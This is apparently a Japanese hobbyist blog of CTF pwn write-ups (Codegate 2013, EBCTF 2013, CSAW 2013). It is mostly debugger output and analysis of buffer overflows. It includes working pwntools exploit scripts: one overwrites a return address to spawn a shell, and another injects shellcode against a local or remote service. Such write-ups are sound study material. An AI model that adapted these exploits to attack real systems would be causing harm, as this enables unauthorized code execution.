読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Codegate CTF Preliminary 2013 Vuln100(解けなかった)

今回は64bit-ELFでfork-server型だった。最初に実行したときはなんかクイズみたいな形式で出題されたので、とりあえず、答えになりそうなものをstringshttp://blog.hatena.ne.jp/shimasyaro/shimasyaro.hatenablog.com/edit?entry=10328749687216287040コマンドで探してみたが、怪しい文字列はどうやら全部、MD5でハッシュ化されていた。仕方ないので素直に解いていくことにした(諦め)

shima@chino:~/workspace/pwn_list_baby/vuln100$ nc localhost 6666
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.


It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
arsenal
good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)
gyeongbokgung
good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)
psy
good!3
rank write! your nickname:

素直に問題を解いていくと、どうやらrankに自分の名前を登録できるような仕組みになっているらしい。ここに今回は脆弱性があるみたい。詳しくここら辺を見ていくことにする。まずは、セキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

何でもありな状態であるため、今回はshellcodeを使っていこうかな。SSPも無効になっているため、stackをチェックする機構が独自に作られていなければBOFできそう。PIEもないので実行ファイルのアドレスは固定であるため、適当なセクションを使うのもありかも。とりあえずデバッグしてみることに!すると・・・

[-------------------------------------code-------------------------------------]
   0x400cc7:    mov    rdx,rsi
   0x400cca:    mov    rsi,rcx
   0x400ccd:    mov    rdi,rax
=> 0x400cd0:    call   0x400a80 <memcpy@plt>
   0x400cd5:    mov    rdx,QWORD PTR [rbp-0x118]
   0x400cdc:    mov    rax,QWORD PTR [rbp-0x8]
   0x400ce0:    mov    rsi,rdx
   0x400ce3:    mov    rdi,rax
Guessed arguments:
arg[0]: 0x7fffffffd970 --> 0x7fffffffda28 --> 0x0 
arg[1]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
arg[2]: 0x1e 
arg[3]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 --> 0xffffffffffffffff 
0008| 0x7fffffffd968 --> 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
0016| 0x7fffffffd970 --> 0x7fffffffda28 --> 0x0 
0024| 0x7fffffffd978 --> 0x7ffff7649978 --> 0xc0022000055fa 
0032| 0x7fffffffd980 --> 0x0 
0040| 0x7fffffffd988 --> 0x7fffffffda80 --> 0x7fffffffdec0 --> 0x0 
0048| 0x7fffffffd990 --> 0x400a90 (xor    ebp,ebp)
0056| 0x7fffffffd998 --> 0x7ffff79f7760 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400cd0 in ?? ()
gdb-peda$ b *0x400cd0
Breakpoint 2 at 0x400cd0
gdb-peda$ x/100wx $esp
0xffffffffffffd960:    Cannot access memory at address 0xffffffffffffd960
gdb-peda$ x/100gx $rsp
0x7fffffffd960:    0xffffffffffffffff 0x00007fffffffdfa8
0x7fffffffd970:    0x00007fffffffda28 0x00007ffff7649978
0x7fffffffd980:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd990:    0x0000000000400a90 0x00007ffff79f7760
0x7fffffffd9a0:    0x0000000000000000 0x0000000000000000
0x7fffffffd9b0:    0x00007fffffffda28 0x00007fffffffda10
0x7fffffffd9c0:    0x00007fffffffda00 0x00007ffff7a63002
0x7fffffffd9d0:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd9e0:    0x0000000000400a90 0x0000000000400c59
0x7fffffffd9f0:    0xfffffe03ffffdec0 0x00007fffffffe060
0x7fffffffda00:    0x31f2ab2cbe4cf530 0xb9e789adaa8c1973
0x7fffffffda10:    0x31f2ab2c00000000 0xb9e789adaa8c1973
0x7fffffffda20:    0x0000000000000018 0x0000000000000000
0x7fffffffda30:    0x0000000000000000 0x0000000000000000
0x7fffffffda40:    0x0000000000000000 0x0000000000000000
0x7fffffffda50:    0x0000000000000000 0x0000000000000000
0x7fffffffda60:    0x00007fffffffdec0 0x0000000000400a90
0x7fffffffda70:    0x00007fffffffdfa0 0x00007fffffffd970
0x7fffffffda80:    0x00007fffffffdec0 0x000000000040121e

[-------------------------------------code-------------------------------------]
   0x400cdc:    mov    rax,QWORD PTR [rbp-0x8]
   0x400ce0:    mov    rsi,rdx
   0x400ce3:    mov    rdi,rax
=> 0x400ce6:    call   0x400a30 <strcpy@plt>
   0x400ceb:    mov    rax,QWORD PTR [rbp-0x8]
   0x400cef:    mov    QWORD PTR [rip+0x2013e2],rax        # 0x6020d8
   0x400cf6:    leave  
   0x400cf7:    ret
Guessed arguments:
arg[0]: 0x7fffffffd970 ('A' <repeats 29 times>, "\n")
arg[1]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
arg[2]: 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 --> 0xffffffffffffffff 
0008| 0x7fffffffd968 --> 0x7fffffffdfa8 ('A' <repeats 29 times>, "\n")
0016| 0x7fffffffd970 ('A' <repeats 29 times>, "\n")
0024| 0x7fffffffd978 ('A' <repeats 21 times>, "\n")
0032| 0x7fffffffd980 ('A' <repeats 13 times>, "\n")
0040| 0x7fffffffd988 --> 0xa4141414141 ('AAAAA\n')
0048| 0x7fffffffd990 --> 0x400a90 (xor    ebp,ebp)
0056| 0x7fffffffd998 --> 0x7ffff79f7760 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400ce6 in ?? ()
gdb-peda$ x/100gx $rsp
0x7fffffffd960:    0xffffffffffffffff 0x00007fffffffdfa8
0x7fffffffd970:    0x4141414141414141 0x4141414141414141
0x7fffffffd980:    0x4141414141414141 0x00000a4141414141
0x7fffffffd990:    0x0000000000400a90 0x00007ffff79f7760
0x7fffffffd9a0:    0x0000000000000000 0x0000000000000000
0x7fffffffd9b0:    0x00007fffffffda28 0x00007fffffffda10
0x7fffffffd9c0:    0x00007fffffffda00 0x00007ffff7a63002
0x7fffffffd9d0:    0x0000000000000000 0x00007fffffffda80
0x7fffffffd9e0:    0x0000000000400a90 0x0000000000400c59
0x7fffffffd9f0:    0xfffffe03ffffdec0 0x00007fffffffe060
0x7fffffffda00:    0x31f2ab2cbe4cf530 0xb9e789adaa8c1973
0x7fffffffda10:    0x31f2ab2c00000000 0xb9e789adaa8c1973
0x7fffffffda20:    0x0000000000000018 0x0000000000000000
0x7fffffffda30:    0x0000000000000000 0x0000000000000000
0x7fffffffda40:    0x0000000000000000 0x0000000000000000
0x7fffffffda50:    0x0000000000000000 0x0000000000000000
0x7fffffffda60:    0x00007fffffffdec0 0x0000000000400a90
0x7fffffffda70:    0x00007fffffffdfa0 0x00007fffffffd970
0x7fffffffda80:    0x00007fffffffdec0 0x000000000040121e

一番気になったのは、memcpyとstrcpyが同じBufferのアドレスを使用していた点である。具体的な位置としては0x00007fffffffd970というアドレスを使用していた。そこをこの二つのライブラリは使用していた。また、0x7fffffffda78のアドレスにBufferのアドレスが格納されている。このアドレスはmemcpyを実行した後に書き換えが可能であるため、次のstrcpyが実行されるときに任意のアドレスに変更することができる。
C言語にすると以下のような感じ

memcpy(Buffer, UserInput, sizeof(UserInput) - 1);
strcpy(Buffer, UserInput);

その脆弱性を利用して、うまくreturnアドレスを書き換えることができるため、今回はこの脆弱性を利用してshellcodeのアドレスにreturnアドレスを書き換えたい。
具体的にどうするかを説明していく。
最初に、必要なものはbufferのアドレスの特定である。今回はfork-server型であるため、親プロセスが死なない限り、アドレスの位置は変わらない。そこでまず一回目はstackに格納されているアドレスをleakしてからbufferのアドレスのoffsetを足してあげることで求める。今回は登録した内容をsendで見せるような処理を最後にしているためそこからleakする。この出力は終端文字がつけられる処理がないため、終端文字を消してstackに格納されているアドレスをleakさせる
次に、leakしたbufferアドレスから8byte進んだ先にstrcpyのアドレスを設定する。こうすることによってbufferの最後から8byteの部分が、うまくstackに格納されているreturnアドレスを上書きしてくれる。
ではさっそく、やってみよう。と思ってleakしてみたが、正確なアドレスを絞り込むことは難しかった。
他のwrite upを見たところ結局はBrute Forceをやっているようなwrite upがほとんどを占めていた。(この方法しかないのかな?)
私もやってみたが、上手くできなかった(圧倒的実力不足)
解けないこともあるんだね。雑魚だものしょうがない(諦め)

EBCTF 2013 pwn200

pwn list pwn list baby

これは32bit-ELFで、pwnというよりもrevというふうにとらえることができる問題だった。とにかくswitch分が多いためどういった文字を打ったらswitch文に入り、どういった処理をするのかを見るような問題だった。どのような文字がどういった処理をするかは実際に文字を打ってデバッグで見たほうが早いかもしれない。(私の場合はそうした)
ではさっそく問題を見てみよう。

shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: a

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c

THANKS FOR SUPPORTING US WITH YOUR BRAIN!
shima@chino:~/workspace/pwn_list_baby/pwn200$ ./bf
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c
Segmentation fault (コアダンプ)

私はこの実行の段階では普通にBOFさせるのかな?という認識しかなかった。「なんかメモリの値をだしているのなぁ」とは思いつつも、BOFさせてreturnアドレスを書き換えて終わりかな。とりあえず、セキュリティチェック

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

今回はどうやらshellcodeは使うことができないらしい。ということは必然的にsystem関数を使うことになりそうだが、実行ファイルには使われているのだろうか?そう思って実行ファイルの逆アセンブルを見てみた。すると・・・

08048a6e <shell>:
 8048a6e:   55                     push   ebp
 8048a6f:   89 e5                  mov    ebp,esp
 8048a71:   83 ec 18              sub    esp,0x18
 8048a74:   c7 04 24 98 8c 04 08   mov    DWORD PTR [esp],0x8048c98
 8048a7b:   e8 50 fa ff ff         call   80484d0 <system@plt>
 8048a80:   c9                      leave  
 8048a81:   c3                      ret    

どうやらshellを起動させるような関数がもうすでに用意されているらしい。あとはSSPが無効になっているのでreturnを書き換えればいいのかなと思ってデバッグをしてみることにした。

[-------------------------------------code-------------------------------------]
   0x8048a5d <bf_main+1105>: jmp    0x8048a60 <bf_main+1108>
   0x8048a5f <bf_main+1107>: nop
   0x8048a60 <bf_main+1108>: mov    eax,0x0
=> 0x8048a65 <bf_main+1113>: add    esp,0x4d4
   0x8048a6b <bf_main+1119>: pop    ebx
   0x8048a6c <bf_main+1120>: pop    ebp
   0x8048a6d <bf_main+1121>: ret    
   0x8048a6e <shell>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcbc0 --> 0x8048ba2 ("0x%08x\n")
0004| 0xffffcbc4 --> 0x7b1ea7c 
0008| 0xffffcbc8 --> 0x80 
0012| 0xffffcbcc --> 0x34 ('4')
0016| 0xffffcbd0 --> 0x34 ('4')
0020| 0xffffcbd4 --> 0x140 
0024| 0xffffcbd8 --> 0x140 
0028| 0xffffcbdc --> 0x5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08048a65 in bf_main ()
gdb-peda$ x/100wx $esp
0xffffcbc0:    0x08048ba2 0x07b1ea7c 0x00000080 0x00000034
0xffffcbd0:    0x00000034 0x00000140 0x00000140 0x00000005
0xffffcbe0:    0x00000004 0x00000003 0x0016b4d4 0x0016b4d4
0xffffcbf0:    0x0016b4d4 0x00000013 0x00000013 0x00000004
0xffffcc00:    0x00000001 0x00000001 0x00000000 0x00000000
0xffffcc10:    0x00000000 0x001a7a60 0x001a7a60 0x00000005
0xffffcc20:    0x00001000 0x00000001 0x001a81cc 0x001a91cc
0xffffcc30:    0x001a91cc 0x00002cf0 0x000058b0 0x00000006
0xffffcc40:    0x00001000 0x00000002 0x001a9da8 0x001aada8
0xffffcc50:    0x001aada8 0x000000f0 0x000000f0 0x00000006
0xffffcc60:    0x00000004 0x00000004 0x00000174 0x00000174
0xffffcc70:    0x00000174 0x00000044 0x00000044 0x00000004
0xffffcc80:    0x00000004 0x00000007 0x001a81cc 0x001a91cc
0xffffcc90:    0x001a91cc 0x00000008 0x0000004c 0x00000004
0xffffcca0:    0x00000004 0x6474e550 0x0016b4e8 0x0016b4e8
0xffffccb0:    0x0016b4e8 0x000074d4 0x000074d4 0x00000004
0xffffccc0:    0x00000004 0x6474e551 0x00000000 0x00000000
0xffffccd0:    0x00000000 0x00000000 0x00000000 0x00000006
0xffffcce0:    0x00000010 0x6474e552 0x001a81cc 0xf7ffd000
0xffffccf0:    0xffffcf68 0x00000000 0xffffcd28 0xf7fe890c
0xffffcd00:    0x00000000 0x00000000 0x00000000 0x00000003
0xffffcd10:    0x00554e47 0x56ee495a 0xf7e23049 0x00000000
0xffffcd20:    0x00000000 0xf7fe88c0 0xffffcf98 0xf7feac06
0xffffcd30:    0xffffcf68 0x00000000 0x00000000 0xf7ffd878
0xffffcd40:    0x00000000 0xffffcf64 0xffffcf60 0xf7fe4d9d

もはや、fgetsで400hまでの入力で、bufferのアドレスを移動させるのかと思ったがそういった動きもなかった。ということは入力からオーバーフローさせることは不可能に近いため、特定の入力に対して動きを見せるような実行ファイルだろうと見当をつけた。ということでさっそく逆アセンブルしていろいろ探ってみたが、どうやら、以下に示す文字だけ影響を与えるらしい。

43 + case 0 メモリの内容に1たす 
45 - case 1 メモリの内容に1ひく
62 > case 2 メモリのアドレスを4byteプラスに移動
60 < case 3 メモリのアドレスを4byteマイナスに移動
91 [ case 4 ???
93 ] case 5 ???
44 , case 6 メモリの内容を1byte入力した文字に変更
46 . case 7 現在指しているメモリの内容を出力

case文ごとに分けてみた逆アセンブルからわかることは、ある基数をもとにそれを4byteかけてメモリを移動するような形を基本としていた。しかし具体的には、case7以外はよくわからなかったので実際に動かしながら調べてみた。以下に一例を示す。

> GIVE ME SOMETHING TO DANCE FOR: +.+.+.+.
0x00000001
0x00000002
0x00000003
0x00000004

> GIVE ME SOMETHING TO DANCE FOR: -.-.-.-.
0x000000ff
0x000000fe
0x000000fd
0x000000fc

> GIVE ME SOMETHING TO DANCE FOR: >.>.>.>.
0x00000000
0x00000000
0x00000000
0x00000000

> GIVE ME SOMETHING TO DANCE FOR: <.<.<.<.<.
0xf7e1d474
0x08048353
0xf7fda858
0xf7fdab48
0x000008d6

> GIVE ME SOMETHING TO DANCE FOR: [.[.[.[.



> GIVE ME SOMETHING TO DANCE FOR: ].].].].] 

Program received signal SIGSEGV, Segmentation fault.
> GIVE ME SOMETHING TO DANCE FOR: ,.,.,.,.
A
0x00000041
0x0000000a
C
0x00000043
0x0000000a

どうやらこれらの文字を使って任意のメモリにある内容を書き換えてうまくシェルと起動させるような問題らしい。(発想的には面白くて好き)しかし、どちらかというとrev問題になっているような気がしないでもないため、好みは分かれそう。
とりあえず、EIPが指すようなメモリが存在しないか探し、それを上手くshell関数に飛ばせば終わりかな?とりあえず>か<の文字を使って探してみよう。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

for i in range(1,101):
    conn = process('./bf')
    buf = ">" * i + '.' + '\n'
    conn.recvuntil("FOR: ")
    conn.send(buf)
    print '%d:0x%08x'%(i, int(conn.recv(10), 16))
    conn.close()

EIPを探すようなコードを作ってみた。今回は>の文字列を使って1回目から100回目までを>の数を増やしながら試してみた。その結果をいかに示す。

shima@chino:~/workspace/pwn_list_baby/pwn200$ python search.py | grep '0x08048a' 
51:0x08048a9d
54:0x08048ab9
56:0x08048ab0
88:0x08048a82
91:0x08048ab0

どうやら100番目以下しかメモリの操作はできなさそう。その中からEIPが指す。ものを探してみると以下のようなものがあるらしい。
とりあえず今回は確実に使うであろう51番目のEIPアドレスをshell関数に変更するようなコードを書いてみることにする。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./bf')

conn = process('./bf')

payload = '>'*51
payload += '-'*47
payload += '\n'
conn.recvuntil(' FOR: ')
conn.send(payload)
conn.interactive()

コード短すぎィ!まず最初に51番目に移動してから、内容を47減らしてEIPアドレスをshell関数のアドレスに合わせるようにした。
【総評】revできなかったら死にたくなる問題

CSAW CTF Qualification Round 2013 Exploitation4 (miteegashun-400)

pwn list pwn list baby

xinetd型で32bit-ELFで、手当たり次第に攻撃をするような問題だった。私の環境では上手くデバッグできなかった(圧倒的実力不足!!)ため、ある意味苦しんだ問題でもあった。とりあえず実行

shima@chino:~$ cd workspace/pwn_list_baby/Exploitation4
shima@chino:~/workspace/pwn_list_baby/Exploitation4$ ./miteegashun 
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
See? Flawless.

See? Flawless.と出てきているため、「ええの?そんなもん?あほくさ、overflowせんやん」と挑発された感じに取れたのでさっきの4倍ほどぶち込んだら、なんとセグフォを起こした。
とりあえずGDBで見てみよう

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

gdb-peda$ r
Starting program: /home/shima/workspace/pwn_list_baby/Exploitation4/miteegashun 
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x0 
ECX: 0x3 
EDX: 0x80f04e1 ('A' <repeats 85 times>)
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0448 ('A' <repeats 200 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0x80f0448 ('A' <repeats 200 times>...)
0004| 0x80f044c ('A' <repeats 200 times>...)
0008| 0x80f0450 ('A' <repeats 200 times>...)
0012| 0x80f0454 ('A' <repeats 200 times>...)
0016| 0x80f0458 ('A' <repeats 200 times>...)
0020| 0x80f045c ('A' <repeats 200 times>...)
0024| 0x80f0460 ('A' <repeats 200 times>...)
0028| 0x80f0464 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

どうやら最初に入力した文字列の2倍の時点でもうすでにセグフォを起こしていた。気になるのはそこではなくEIPの数字である。いわゆる「EIPとれた!!勝ったな(確信)」という問題である。また、セキュリティの状態は何でもありの状態なのでEIPにshellcodeのアドレスを上げる感じで良さそう。
ここからが地味に面倒であったが、どの瞬間にEIPが書き換わっているかを適当に入力しながら確かめていった。すると以下のようなことが順番にstackに存在していることが分かった。

  • buffer sizeは256 byte

  • EBPがある(4 byte)

  • buffer sizeが157 byte

  • EIPがある(4 byte) この順番で格納されていることが分かった。ここまでわかったらあとはコードを書くだけ。
    コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./miteegashun')
HOST = 'localhost'
PORT = 34266

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./miteegashun')
        print "[+] connect to local\n"

shellcode = asm(shellcraft.sh())
buffer_addr = 0x80f0448
payload = '\x90'*256                    # buffer 256 byte
payload += '\x90'*4                     # EBP
payload += '\x90'*(157 - len(shellcode))# padding 157 byte
payload += shellcode                    
payload += p32(buffer_addr)             # EIP
payload += '\n'

conn.recvuntil(' wrong\n')
print payload
conn.send(payload)
conn.interactive()

どうやら今回はbufferのアドレスは固定みたい。そこで普通にbufferのアドレスをEIPにセットして終了。
[総評] EIPがとれて勝ったなという意味が実感できる問題。

CSAW CTF Qualification Round 2013 Exploitation3 (CSAW-Diary-300)

pwn list pwn list baby

この問題自体は32bit-ELFでfork-server型であった。問題は最初にuserとpasswordを入力させるような処理があった。このuserとpasswordは平文で保存されているため、stringsコマンドで明らかに怪しい文字列があるのでそれらを入力してみるのもよいし、IDAやGDBデバッグして見つけるのもよい。
その後に、sendするsizeを指定し、指定したsize分改行文字を含めて送るような処理をしていた。sizeを指定しておくることができるということで負数を入れて例外処理をしているのかどうか見ていきたいと思った。その時実行した様子を下に示す。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : FULL
gdb-peda$ 
shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 2000
shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: -1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Til next time

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ 

どうやらある一定のsize数を超えたらsendする内容を打つ前に終了するようだが、-1(今回は32bitであるため、0xFFFFFFFF)はそのままsendするような内容になっている。SSPも無効でNX bitも無効であるため、「もしかしたら、BOF(Buffer OverFlow)でshellcode流し込むことができるのでは」思い調べて見ることにした。

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fbb000 --> 0x1aada8 
ECX: 0xa ('\n')
EDX: 0xffff 
ESI: 0x0 
EDI: 0x804967b ("Til next time\n\n")
EBP: 0xffffceb8 --> 0xffffcef8 --> 0xffffcfe8 --> 0xffffcff8 --> 0x0 
ESP: 0xffffc9e0 --> 0x0 
EIP: 0x8048f31 (cmp    eax,0x400)
EFLAGS: 0x257 (CARRY PARITY ADJUST ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f28:   mov    DWORD PTR [ebp-0x14],eax
   0x8048f2b:   mov    eax,DWORD PTR [ebp-0x14]
   0x8048f2e:   add    eax,0x1
=> 0x8048f31:   cmp    eax,0x400
   0x8048f36:   jbe    0x8048f5b
   0x8048f38:   mov    edx,0x8049973
   0x8048f3d:   mov    eax,ds:0x804b008
   0x8048f42:   mov    DWORD PTR [esp+0x8],0x8049977
[------------------------------------stack-------------------------------------]
0000| 0xffffc9e0 --> 0x0 
0004| 0xffffc9e4 --> 0x0 
0008| 0xffffc9e8 --> 0xf7fd5b35 
0012| 0xffffc9ec --> 0xf7fd5b72 
0016| 0xffffc9f0 --> 0x801 
0020| 0xffffc9f4 --> 0x0 
0024| 0xffffc9f8 --> 0x3a9 
0028| 0xffffc9fc --> 0x5203f5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048f31 in ?? ()
gdb-peda$ 

ここでは、sizeの長さを400h(1024)byteとくらべているのだが、比べる前になぜか1を足している。つまり-1に1足されるため、0となり400hより小さいため、ジャンプして次のsendする内容を打つ処理に行くことができる脆弱性がここにあった。

[-------------------------------------code-------------------------------------]
   0x8048f6d:   lea    edx,[ebp-0x41c]
   0x8048f73:   mov    DWORD PTR [esp+0x4],edx
   0x8048f77:   mov    DWORD PTR [esp],eax
=> 0x8048f7a:   call   0x8048890 <recv@plt>
   0x8048f7f:   mov    WORD PTR [ebp-0x16],ax
   0x8048f83:   cmp    WORD PTR [ebp-0x16],0xffff
   0x8048f88:   jne    0x8048f9b
   0x8048f8a:   mov    DWORD PTR [esp],0x8049986
